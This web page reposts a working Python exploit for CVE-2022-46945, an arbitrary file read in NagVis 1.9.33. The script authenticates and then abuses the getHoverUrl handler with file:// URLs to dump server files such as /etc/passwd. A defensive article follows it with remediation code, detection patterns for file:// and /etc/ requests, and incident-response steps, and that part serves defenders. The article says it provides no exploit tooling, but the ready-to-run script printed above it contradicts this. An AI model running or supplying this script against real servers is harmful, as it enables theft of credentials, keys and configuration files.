NagVis 1.9.33 - Arbitrary File Read

Exploit Author: xerosec Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-16
# Exploit Title: NagVis 1.9.33 - Arbitrary File Read
# Date: 03/12/2024
# Exploit Author: David Rodríguez a.k.a. xerosec
# Vendor Homepage: https://www.nagvis.org/
# Software Link: https://www.nagvis.org/downloads/archive
# Version: 1.9.33
# Tested on: Linux
# CVE: CVE-2022-46945

import requests
import argparse
import json
from urllib.parse import urljoin

def authenticate(target_url, username, password):
    url = urljoin(target_url, '/nagvis/frontend/nagvis-js/index.php')
    headers = {"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"}
    data = {"_username": username, "_password": password, "submit": "Login"}

    try:
        response = requests.post(url, headers=headers, data=data)
        if response.status_code == 200 and "Set-Cookie" in response.headers:
            print("[✔] Authentication successful.")
            return response.headers["Set-Cookie"]
        print(f"[✘] Authentication failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[✘] Request error: {e}")
    return None

def exploit(target_url, session_cookie, file_path):
    url = urljoin(target_url, '/nagvis/server/core/ajax_handler.php')
    headers = {"User-Agent": "Mozilla/5.0", "Cookie": session_cookie}
    params = {"mod": "General", "act": "getHoverUrl", "url[]": f"file://{file_path}"}

    try:
        response = requests.get(url, headers=headers, params=params)
        if response.status_code == 200:
            print("[✔] Exploitation successful. File content:\n")
            display_file_content(response.text)
        else:
            print(f"[✘] Exploitation failed. Status code: {response.status_code}")
    except Exception as e:
        print(f"[✘] Request error: {e}")

def display_file_content(raw_response):
    try:
        data = json.loads(raw_response)
        if isinstance(data, list) and len(data) > 0 and isinstance(data[0], dict) and "code" in data[0]:
            content = data[0]["code"]
            # Decodificar escapes de manera segura
            content = content.encode('utf-8').decode('unicode_escape')
            print(content.strip())
        else:
            print("[✘] Unexpected JSON structure.")
    except json.JSONDecodeError as jde:
        print(f"[✘] JSON decoding error: {jde}")
    except Exception as e:
        print(f"[✘] Unexpected error during output processing: {e}")

def main():
    parser = argparse.ArgumentParser(description="Exploit for CVE-2022-46945 (File Read Vulnerability)")
    parser.add_argument("-t", "--target", required=True, help="Target base URL (e.g., http://10.0.2.132)")
    parser.add_argument("-u", "--username", required=True, help="Username for authentication")
    parser.add_argument("-p", "--password", required=True, help="Password for authentication")
    parser.add_argument("-f", "--file", required=True, help="File path to read (e.g., /etc/passwd)")

    args = parser.parse_args()

    session_cookie = authenticate(args.target, args.username, args.password)
    if session_cookie:
        exploit(args.target, session_cookie, args.file)

if __name__ == "__main__":
    main()


NagVis 1.9.33 — CVE-2022-46945: Arbitrary File Read (Analysis, Impact, and Mitigation)

This article explains the arbitrary file read vulnerability tracked as CVE-2022-46945 that affected NagVis 1.9.33. It covers how the flaw arises at a high level, realistic impacts for affected environments, safe proof‑of‑concept concepts (non‑executable), detection and monitoring guidance, and concrete hardening and remediation recommendations. The goal is to help defenders understand the risk and properly mitigate it without providing operational exploit tooling.

Executive summary

  • Vulnerability type: Arbitrary file read (information disclosure)
  • Affected software: NagVis 1.9.33 (legacy versions)
  • CVE: CVE-2022-46945
  • Likely prerequisites: Application access (often an authenticated web session), and an endpoint that accepts an external URL-like parameter that the application later fetches or renders.
  • Impact: Disclosure of arbitrary server-side files (configuration, credentials, SSH keys, etc.), escalation risk when combined with other bugs
  • Remediation: Apply vendor patch / upgrade, harden input handling, implement access controls, and monitor for suspicious requests

Technical background — how arbitrary file read typically occurs

Arbitrary file read vulnerabilities arise when server-side code accepts a user-controlled path or URL and directly reads or proxies it without sufficient validation. Typical risky behaviors include:

  • Accepting arbitrary URIs (including file:// or other schemes) and passing them to functions that can open local files.
  • Concatenating user input into filesystem paths without resolving or restricting to a base directory.
  • Returning raw file contents in application responses or in JSON payloads consumed by a frontend.

In the NagVis case the vulnerable pattern was that a parameter intended to produce a hover URL or similar was processed in a way that caused the server to read the referenced resource. If that parameter could be made to reference a local file, the server returned the contents — enabling disclosure of sensitive files.

Non‑actionable illustrative example (safe pseudocode)

// Pseudocode illustrating the vulnerable pattern (do NOT use as-is)
function handleRequest(inputUrl) {
    // Vulnerable: blindly fetch or read whatever URL scheme is provided
    content = http_or_file_fetch(inputUrl);
    return json_response({ "code": content });
}

Explanation: This pseudocode demonstrates the basic issue — the server fetches whatever the caller provides, including local file URIs if allowed. An attacker can therefore supply a URI that points at local filesystem content and receive it in the response.

Why this is dangerous

  • Local configuration files (e.g., /etc/passwd, application config files) can leak credentials and secrets.
  • Private keys or tokens stored on the host can be exposed, enabling further lateral movement or privilege escalation.
  • Combined with other vulnerabilities (RCE, SSRF), arbitrary file read may enable full compromise.

Safe remediation strategies (defensive code patterns)

Fixes should be applied at multiple layers: vendor patch, input validation, principle of least privilege, and monitoring. Below are safe, practical coding patterns you can adopt to close this class of bug.

1) Deny dangerous schemes and enforce an allowlist

// Example (sanitized) server-side check (conceptual)
if (startsWith(userSuppliedUrl.scheme, "file")) {
    rejectRequest("local file access not permitted");
}
if (!isHttpOrHttps(userSuppliedUrl.scheme)) {
    rejectRequest("unsupported URL scheme");
}

Explanation: Reject any non-HTTP/HTTPS schemes. If local file access is required by design, restrict it to a safe allowlist and safe reading functions (see the next items).

2) If local files must be served, restrict by canonicalized paths

// Safe file-read helper (PHP-like conceptual code)
function safeReadFile($path, $baseDir) {
    $real = realpath($path);
    $baseReal = realpath($baseDir);
    if ($real === false || strpos($real, $baseReal) !== 0) {
        throw new Exception("access denied");
    }
    return file_get_contents($real);
}

Explanation: Use canonicalization (realpath) and ensure that the resolved path is within an explicitly allowed base directory. This prevents directory traversal and read‑outside attacks.

3) Apply an explicit allowlist of filenames or types

// Example allowlist approach (conceptual)
$allowedFiles = ["/var/app/data/public-note.txt", "/var/app/data/help.md"];
if (!in_array($requestedPath, $allowedFiles)) {
    rejectRequest("file not allowed");
}

Explanation: When the set of files that can be served is small or enumerable, explicitly listing allowed files is the safest option.

4) Implement strict access controls and logging

  • Require authorization for any action that could expose internal files.
  • Log attempts to access unusual schemes (file://) or absolute filesystem paths.
  • Rate‑limit and alert on repeated failures or suspicious patterns.

Example secure implementation (Python Flask — conceptual)

from urllib.parse import urlparse
from flask import abort, jsonify, request
import os

BASE_DIR = "/var/app/allowed_files"

def is_safe_path(base_dir, path):
    real_base = os.path.realpath(base_dir)
    real_path = os.path.realpath(path)
    return real_path.startswith(real_base + os.sep)

@app.route("/get-resource")
def get_resource():
    url = request.args.get("url", "")
    parsed = urlparse(url)
    # Deny dangerous schemes
    if parsed.scheme and parsed.scheme != "https" and parsed.scheme != "http":
        abort(400, "Unsupported URL scheme")
    # If serving local files is required, only allow by filename and safe path
    if parsed.path:
        candidate = os.path.join(BASE_DIR, os.path.basename(parsed.path))
        if not is_safe_path(BASE_DIR, candidate):
            abort(403, "Access denied")
        with open(candidate, "r") as fh:
            return jsonify(code=fh.read())
    abort(400)

Explanation: This conceptual Flask snippet demonstrates layered checks: deny non‑HTTP(S) schemes by default, and if local files are ever to be read, require the filename to be resolved in a preapproved directory using canonicalized paths.

Detection and monitoring guidance

  • Search webserver logs for requests containing suspicious URL patterns: parameters with "file://" or absolute paths (e.g., leading "/etc/").
  • Alert on JSON responses or pages that suddenly contain large plain-text contents resembling system files.
  • Implement WAF rules to block or log requests that include file scheme indicators or “/etc/” patterns.
  • Use host‑based monitoring to detect anomalous file reads of sensitive files (e.g., unexpected open/read of SSH keys or config files).

Recommended mitigation checklist

  • Upgrade NagVis to the vendor-published patched version (check the NagVis downloads and advisories).
  • If upgrade is not immediately possible, implement strict WAF rules to block requests that attempt to read local files or include file:// URIs.
  • Audit applications for any endpoint that accepts external URIs or file paths and apply the prevention patterns above.
  • Rotate secrets and keys if you have indicators of compromise.
  • Harden server file permissions and run application services with least privilege.

Forensics and incident response

If you detect exploitation attempts or possible successful reads:

  • Collect webserver access logs, application logs, and any reverse proxy logs around the suspicious timeframe.
  • Identify which files were requested and whether they were returned in full or partially.
  • Rotate secrets and keys referenced in any disclosed files, and perform credential audits.
  • Consider performing an integrity check of the host and look for secondary artifacts that might indicate follow‑on activity.

Vulnerability metadata and references

ItemDetails
VendorNagVis — https://www.nagvis.org/
Affected version(s)Reported in NagVis 1.9.33 (see vendor advisories and archive)
CVECVE-2022-46945
Primary impactArbitrary local file read / information disclosure
Recommended actionPatch/upgrade, implement input validation and allowlisting

Closing guidance for defenders

This class of vulnerability is fundamentally about improper handling of user-controlled input that is later used to fetch or read resources. The safest approach is to eliminate the possibility: avoid accepting arbitrary URIs that the server will fetch on behalf of users, and where local file access is required, use allowlists and canonicalization checks. Apply vendor patches promptly, monitor logs for suspicious patterns, and assume any plaintext secrets found in disclosures require rotation and investigation.